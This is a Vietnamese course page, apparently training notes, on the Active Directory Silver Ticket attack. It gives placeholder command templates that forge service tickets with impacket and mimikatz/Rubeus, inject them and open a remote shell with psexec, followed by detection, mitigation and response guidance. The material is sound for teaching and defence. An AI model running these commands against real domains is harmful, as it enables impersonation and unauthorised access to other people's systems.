Trainning
  • WEEK 2
    • Tìm hiểu các thành phần hệ điều hành
    • TryHackMe| Abusing Windows Internals
  • WEEK 3
    • Một số phương thức Persistence
    • Các Phương thức tấn công Process nâng cao
    • Implement tấn công
  • week 4
    • Linux
      • Basic Concept Linux
      • Symlink
      • Linux Persistence
      • Notes
    • PROCESS LIST
    • Network
      • OSI MODEL(OPEN SYSTEMS INTERCONNECTION MODEL)
      • Các giao thức phổ biến trong môi trường enterprise
        • SMB - Server Message Block
        • LDAP - Lightweight Directory Access Protocol
          • LDAP Injection
        • SSH - Secure Shell
        • RDP - Remote Desktop Protocol
        • ICMP - Internet Control Message Protocol
        • DNS - Domain Name System
        • DHCP - Dynamic Host Configuration Protocol
        • HTTP/HTTPS
  • WEEK 5
    • Các dạng tấn công trong network phổ biến (SYNC Flood, MAC flood,...)
    • Reconnaissance
    • Active Directory
      • Group Policy
    • NTLM vs Kerberos
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Path The Hash
      • ASREPRoast
        • Demo
      • Kerberoasting
        • Demo
      • Silver Ticket
        • Demo
      • Golden Ticket
        • Demo
      • Tóm tắt
    • Stealing Windows Credentials
      • Mimikatz
      • Custom SSP
    • LLMNR Poisoning, NTLM Replay
  • WEEK 6 + 7
    • DOM-based vulnerabilities
      • DOM-based open redirection
    • SQL Injection
      • Lab: Retrieving hidden data
      • Lab: Subvering application logic
      • SQL injection UNION attacks
        • Lab: SQL injection UNION attack, determining the number of columns returned by the query
        • Lab: SQL injection UNION attack, finding a column containing text
        • Lab: SQL injection UNION attack, retrieving data from other tables
        • Lab: SQL injection UNION attack, retrieving multiple values in a single column
      • Blind SQL Injection
        • Lab: Blind SQL injection with conditional responses
        • Lab: Blind SQL injection with conditional errors
        • Lab: Visible error-based SQL injection
        • Lab: Blind SQL injection with time delays
        • Lab: Blind SQL injection with time delays and information retrieval
        • Lab: Blind SQL injection with out-of-band interaction
        • Lab: Blind SQL injection with out-of-band data exfiltration
      • Examining the database
        • Lab: SQL injection attack, querying the database type and version on Oracle
        • Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
        • Lab: SQL injection attack, listing the database contents on non-Oracle databases
        • Lab: SQL injection attack, listing the database contents on Oracle
      • Che dấu cuộc tấn công bằng Encode
        • Lab: SQL injection with filter bypass via XML encoding
    • Authentication
      • Lỗ hổng trong đăng nhập bằng mật khẩu
        • Lab: Username enumeration via different responses
        • Lab: Username enumeration via subtly different responses
        • Lab: Username enumeration via response timing
        • Lab: Broken brute-force protection, IP block
        • Lab: Username enumeration via account lock
        • Lab: Broken brute-force protection, multiple credentials per request
      • Lỗ hổng trong xác thực đa nhân tố
        • Lab: 2FA simple bypass
        • Lab: 2FA broken logic
        • Lab: 2FA bypass using a brute-force attack
      • Các lỗ hổng trong cơ chế xác thực khác
        • Lab: Brute-forcing a stay-logged-in cookie
        • Lab: Offline password cracking
        • Lab: Password reset broken logic
        • Lab: Password brute-force via password change
        • Lab: Password brute-force via password change
      • Lỗ hổng xác thực OAuth 2.0
        • Lab: Authentication bypass via OAuth implicit flow
        • Lab: Authentication bypass via OAuth implicit flow
        • Lab: Forced OAuth profile linking
        • Lab: OAuth account hijacking via redirect_uri
        • Lab: Stealing OAuth access tokens via an open redirect
        • Lab: Stealing OAuth access tokens via a proxy page
        • Lab: SSRF via OpenID dynamic client registration
    • Access Control
      • Lab: Unprotected admin functionality
      • Lab: Unprotected admin functionality with unpredictable URL
      • Lab: User role controlled by request parameter
      • Lab: User role can be modified in user profile
      • Lab: URL-based access control can be circumvented
      • Lab: Method-based access control can be circumvented
      • Lab: User ID controlled by request parameter
      • Lab: User ID controlled by request parameter, with unpredictable user IDs
      • Lab: User ID controlled by request parameter with data leakage in redirect
      • Lab: Insecure direct object references
      • Lab: Multi-step process with no access control on one step
      • Lab: Referer-based access control
    • Path Traversal
      • Lab: File path traversal, simple case
      • Lab: File path traversal, traversal sequences blocked with absolute path bypass
      • Lab: File path traversal, traversal sequences stripped non-recursively
      • Lab: File path traversal, traversal sequences stripped with superfluous URL-decode
      • Lab: File path traversal, validation of start of path
      • Lab: File path traversal, validation of file extension with null byte bypass
    • Command Injection
      • Lab: OS command injection, simple case
      • Lab: Blind OS command injection with time delays
      • Lab: Blind OS command injection with output redirection
      • Lab: Blind OS command injection with out-of-band interaction
      • Lab: Blind OS command injection with out-of-band data exfiltration
    • File uploads
    • Server-side request forgery (SSRF)
    • Cross-site scripting
      • Reflected XSS
      • Stored XSS
      • DOM-based XSS
      • Cross-site scripting contexts
    • Cross-site request forgery (CSRF)
      • Bypassing CSRF token validation
      • Bypass SameSite cookie restrictions
      • Page 2
    • Insecure deserializaton
    • Burp Suite
    • Tóm tắt
  • Week 8
    • Rà soát mã độc
Powered by GitBook
On this page
  • Silver ticket
  • On Linux
  • On Windows
  • Available Services
  • Silverr tickets Event IDs
  • Detect, Mitigate and Respond
  • DETECT
  • MITIGATE
  • RESPOND
  • References
  1. WEEK 5
  2. NTLM vs Kerberos

Silver Ticket

Silver ticket

Silver Ticket attack liên quan đến việc khai thác service ticket trong AD. Phương pháp này dựa vào việc lấy được NTLM hash của một service account, như computer account, để giả mạo một TGS ticket. Với vé giả mạo, attacker có thể truy cập những dịch vụ trên mạng, mạo danh bất kỳ người dùng nào, thường nhằm mục đích giành đặc quyền quản trị. Việc sử dụng khóa AES để giả mạo sẽ an toàn và ít bị phát hiện hơn

Để tạo vé:

On Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache 
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

On Windows

//# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

Dịch vụ CIFS được đánh dấu là mục tiêu chung để truy cập hệ thống tệp của nạn nhân, nhưng các dịch vụ khác như HOST và RPCSS có thể được khai thác để thực hiện các tác vụ và truy vấn VMI

Available Services

Service Type
Service Silver Tickets

WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

Tùy vào hệ điều hành:

WSMAN

RPCSS

WinRM

HOST

HTTP

Một số trường hợp có thể yêu cầu WINRM

Scheduled Tasks

HOST

Windows File Share, also psexec

CIFS

LDAP operations, included DCSync

LDAP

Windows Remote Server Administration Tools

RPCSS

LDAP

CIFS

Golden Tickets

krbtgt

Sử dụng Rubeus có thể yêu cầu tất cả các vé này bằng cách sử dụng tham số:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Silverr tickets Event IDs

  • 4624: Account Logon

  • 4634: Account Logoff

  • 4672: Admin Logon

Detect, Mitigate and Respond

DETECT

Quy trình thông thường để có được TGS ticket bao gồm việc yêu cầu DC tạo một vé. Sau khi người gọi chứng minh danh tính, DC sẻ trả lời bằng TGS được mã hóa bằng mật khẩu service account. Bởi vì kẻ thù đã xâm phạm mật khẩu đó nên chúng có thể tạo ra các TGS ticket mà không cần liên lạc với DC

Việc phát hiện Silver Ticket chỉ có thể thực hiện được trên endpoint và liên quan đến việc kiểm tra TGS ticket để tìm các dấu hiệu thao túng tinh vi như:

  • Tên người dùng không tồn tại

  • Thành viên nhóm bị điều chỉnh

  • Username và ID không khớp

  • Yếu hơn các loại mã hóa thông thường hoặc thời gian tồn tại cẩu vé vượt quá mức tối đa của miền (mặc định của miền là 10h, minikatz là 10 năm)

Event

Source

Information

Member Computers

  • User’s security identifier (SID)

  • Group memberships

Member Computers

  • User’s security identifier (SID)

  • Username

  • Source IP (indicating potentially compromised host)

MITIGATE

  • Ap dụng các biện pháp quản lý mật khẩu mạnh cho service account.

  • Xóa bỏ đặc quền quản trị của người dùng cuối trên các máy trạm thành viên, và áp dụng các biện pháp kiểm soát leo thang đặc quyền

  • Giảm thiểu quyền truy cập quản trị vào máy trạm và máy chủ của thành viên xuống mức ít cần thiết nhất

  • Không cho phép người dùng sở hữu các đặc quyền quản trị qua ranh giới bảo mật.

RESPOND

  • Kích hoạt quy trình ứng phó sự cố và cảnh báo nhóm ứng phó sự cố

  • Cách ly mọi máy tính có liên quan đến điều tra pháp y, xóa bỏ và phục hồi

  • Đặt lại mật khẩu của tài khoản dịch vụ bị xâm phạm

References

PreviousDemoNextDemo

Last updated 9 months ago

: Event ID

: Event ID

Enable .

Sử dụng các giải pháp như để tạo mật khẩu mạnh, ngẫu nhiên và duy nhất cho tài khoản quản trị viên cục bộ và tự động thay đổi mật khẩu theo định kỳ.

Áp dụng các biện pháp giảm thiểu được khuyến nghị cho .

PAC Validation
Microsoft LAPS
Kerberoasting
Audit Group Membership
4627
Audit Logon
4624
LogoSilver TicketHackTricks
LogoSilver Ticket AttackNetwrix